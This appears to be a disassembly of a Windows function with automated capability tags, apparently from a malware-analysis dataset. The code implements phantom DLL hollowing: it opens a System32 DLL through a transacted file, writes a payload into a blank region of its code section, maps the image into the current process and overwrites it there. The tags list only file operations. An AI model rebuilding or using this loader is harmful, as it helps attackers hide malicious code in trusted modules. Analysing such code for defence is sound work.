Function at 0x401050
Capabilities:
Enumerate files on windows
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6d4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp + 0x10]
push 0x250
mov dword [ebp - 0x6d0], eax
lea eax, [ebp - 0x690]
push 0
push eax
mov dword [ebp - 0x6bc], edx
mov dword [ebp - 0x6c0], ecx
call fcn.00402960
add esp, 0xc
lea eax, [ebp - 0x418]
push 0x208
push 0
push eax
call fcn.00402960
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x418]
add esp, 0xc
xor bl, bl
mov byte [ebp - 0x699], bl
push 0x104
push eax
call esi
push str..dll
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.00404b7b
add esp, 0xc
lea eax, [ebp - 0x690]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [ebp - 0x6a0], edi
cmp edi, 0xffffffff
je 0x401235
nop word [eax + eax]
lea eax, [ebp - 0x664]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x401218
push 0x104
lea eax, [ebp - 0x210]
mov dword [ebp - 0x698], 0xffffffff
push eax
call esi
push 0x419af0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404b7b
add esp, 0xc
lea eax, [ebp - 0x664]
push eax
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404b7b
add esp, 0xc
cmp byte [ebp + 0x14], 0
push 0
push 0
je 0x401248
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x43c], 0x18
push eax
push 0x1f003f
lea eax, [ebp - 0x698]
mov dword [ebp - 0x428], 0
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x438], xmm0
call dword [0x41d4b0]
test eax, eax
js 0x4011ef
push 0
push 0
push dword [ebp - 0x698]
lea eax, [ebp - 0x210]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
jmp 0x401260
push eax
push str.__Failed_to_create_transaction__error_0x_x__r_n
call fcn.00401010
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x210]
push eax
push str.__Failed_to_open_handle_to__ws__error__d__r_n
call fcn.00401010
add esp, 0xc
lea eax, [ebp - 0x690]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401110
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004018d8
mov esp, ebp
pop ebp
ret
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x6b4], eax
cmp eax, 0xffffffff
je 0x4011fd
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x420], 0
push ebx
mov dword [ebp - 0x6cc], ebx
call fcn.004018eb
add esp, 4
mov dword [ebp - 0x6b0], eax
lea ecx, [ebp - 0x420]
push 0
push ecx
push ebx
mov ebx, dword [ebp - 0x6b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4016f0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [ebp - 0x6b0]
mov eax, 0x10b
mov ebx, dword [esi + 0x3c]
add ebx, esi
mov dword [ebp - 0x6ac], ebx
lea esi, [ebx + 0xf8]
mov dword [ebp - 0x41c], esi
cmp word [ebx + 0x18], ax
jne 0x4016f0
mov edi, dword [ebp + 0xc]
cmp edi, dword [ebx + 0x50]
jae 0x401699
push str..text
push esi
call fcn.004069db
add esp, 8
test eax, eax
jne 0x4016ea
mov eax, dword [esi + 8]
cmp edi, eax
jae 0x401699
push eax
push dword [ebx + 0x50]
lea eax, [ebp - 0x664]
push eax
push str.__ws___image_size:__d___.text_size:__d_r_n
call fcn.00401010
xor ebx, ebx
mov byte [ebp - 0x6a1], 0
add esp, 0x10
cmp byte [ebp + 0x14], bl
je 0x40155c
mov dword [ebp - 0x424], ebx
xor edi, edi
mov ebx, dword [ebp - 0x6ac]
cmp dword [ebx + 0x74], edi
jbe 0x401391
lea ecx, [ebx + 0x78]
nop dword [eax + eax]
mov edx, dword [ecx]
mov esi, dword [esi + 0xc]
cmp edx, esi
jb 0x401382
mov eax, dword [ebx + 0x100]
add eax, esi
cmp edx, eax
jae 0x401382
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov esi, dword [ebp - 0x41c]
inc edi
add ecx, 8
cmp edi, dword [ebx + 0x74]
jb 0x401360
movzx eax, word [ebx + 6]
xor edx, edx
mov edi, dword [ebx + 0xa0]
test eax, eax
je 0x4013cd
lea ecx, [esi + 0x10]
mov eax, dword [ecx - 8]
mov ebx, dword [ecx]
cmp eax, ebx
mov esi, dword [ecx - 4]
cmovbe eax, ebx
cmp edi, esi
jb 0x4013bb
add eax, esi
cmp edi, eax
jbe 0x4013ec
mov ebx, dword [ebp - 0x6ac]
inc edx
add ecx, 0x28
movzx eax, word [ebx + 6]
cmp edx, eax
jb 0x4013a4
push str.__No_relocation_directory_present._r_n
call fcn.00401010
add esp, 4
push str.__TxF_initialization_failed._r_n
call fcn.00401010
add esp, 4
jmp 0x401699
sub edi, esi
cmp edi, ebx
jae 0x4013cd
mov eax, dword [ecx + 4]
add eax, edi
add eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6c8], eax
je 0x4013cd
xor ecx, ecx
mov edx, dword [ebp - 0x6ac]
mov dword [ebp - 0x6a8], ecx
cmp ecx, dword [edx + 0x100]
jae 0x4014e1
mov edi, eax
mov dword [ebp - 0x6b8], eax
mov eax, dword [eax + 4]
xor bl, bl
mov dword [ebp - 0x694], eax
test eax, eax
je 0x4014d1
nop word [eax + eax]
lea esi, [eax - 8]
shr esi, 1
lea edx, [edi + 8]
je 0x4014a4
nop word [eax + eax]
movzx eax, word [edx]
mov ecx, eax
and ecx, 0x3000
cmp ecx, 0x3000
jne 0x401496
mov ecx, dword [ebp - 0x6ac]
and eax, 0xfff
add eax, dword [edi]
mov edi, dword [ebp - 0x6b8]
mov ecx, dword [ecx + 0x104]
add ecx, dword [ebp - 0x6a8]
cmp eax, ecx
jb 0x401496
add ecx, dword [ebp + 0xc]
cmp eax, ecx
movzx ebx, bl
mov eax, 1
cmovb ebx, eax
add edx, 2
sub esi, 1
jne 0x401450
mov eax, dword [ebp - 0x694]
add edi, eax
mov dword [ebp - 0x6b8], edi
mov eax, dword [edi + 4]
mov dword [ebp - 0x694], eax
test eax, eax
jne 0x401440
mov ecx, dword [ebp - 0x6a8]
test bl, bl
je 0x4014d1
add ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x6c8]
jmp 0x401407
push ecx
push str._Found_a_blank_region_with_code_section_to_accomodate_payload_at_0x_08x_r_n
call fcn.00401010
add esp, 8
jmp 0x4014ee
push str.__Failed_to_identify_a_blank_region_large_enough_to_accomodate_payload_r_n
call fcn.00401010
add esp, 4
mov esi, dword [ebp - 0x41c]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x6a8]
push edi
mov eax, dword [esi + 0x14]
push dword [ebp - 0x6c4]
add eax, ebx
add eax, dword [ebp - 0x6b0]
push eax
call fcn.004034d0
add esp, 0xc
lea eax, [ebp - 0x424]
push 0
push eax
push dword [ebp - 0x6cc]
push dword [ebp - 0x6b0]
push dword [ebp - 0x6b4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40154e
push str._Successfully_modified_TxF_file_content._r_n
call fcn.00401010
add esp, 4
mov al, 1
jmp 0x401554
mov al, byte [ebp - 0x6a1]
test al, al
je 0x4013da
push dword [ebp - 0x6b4]
lea eax, [ebp - 0x694]
mov dword [ebp - 0x694], 0
push 0x1000000
push 2
push 0
push 0
push 0xf001f
push eax
call dword [0x41d4b4]
test eax, eax
js 0x4016e2
mov eax, dword [ebp - 0x6bc]
push 2
push 0
push 1
push eax
push 0
push 0
push 0
push dword [ebp - 0x6c0]
mov dword [eax], 0
mov dword [eax + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x694]
call dword [0x41d4ac]
test eax, eax
js 0x40168b
mov edx, dword [ebp - 0x6bc]
mov ecx, dword [edx + 4]
mov eax, dword [edx]
test ecx, ecx
jb 0x401699
ja 0x4015f6
mov edx, dword [ebp - 0x6ac]
cmp eax, dword [edx + 0x50]
jb 0x401699
push ecx
push eax
lea eax, [ebp - 0x664]
push eax
push str.__ws___mapped_size:__I64u_r_n
call fcn.00401010
mov eax, dword [ebp - 0x6c0]
add esp, 0x10
mov ecx, dword [eax]
mov eax, dword [esi + 0xc]
add ecx, ebx
mov esi, dword [ebp - 0x6d0]
add eax, ecx
cmp byte [ebp + 0x14], 0
mov dword [esi], eax
jne 0x401681
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x41c]
push ecx
push 4
push edi
push eax
mov dword [ebp - 0x41c], 0
call ebx
test eax, eax
je 0x401699
push edi
push dword [ebp - 0x6c4]
push dword [esi]
call fcn.004034d0
add esp, 0xc
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x41c]
push edi
push dword [esi]
call ebx
mov edi, dword [ebp - 0x6a0]
test eax, eax
je 0x4016f0
mov bl, 1
mov byte [ebp - 0x699], bl
jmp 0x4016a5
mov bl, 1
mov byte [ebp - 0x699], bl
jmp 0x40169f
push eax
push str.__Failed_to_create_mapping_of_section__error_0x_08x_
call fcn.00401010
add esp, 8
mov bl, byte [ebp - 0x699]
mov edi, dword [ebp - 0x6a0]
push dword [ebp - 0x6b0]
call fcn.004018e6
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push dword [ebp - 0x6b4]
call esi
mov eax, dword [ebp - 0x698]
cmp eax, 0xffffffff
je 0x4016cf
push eax
call esi
test bl, bl
jne 0x40122e
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x401218
push eax
push str.__Failed_to_create_section__error_0x_x__r_n
jmp 0x401691
mov edi, dword [ebp - 0x6a0]
mov bl, byte [ebp - 0x699]
jmp 0x4016a5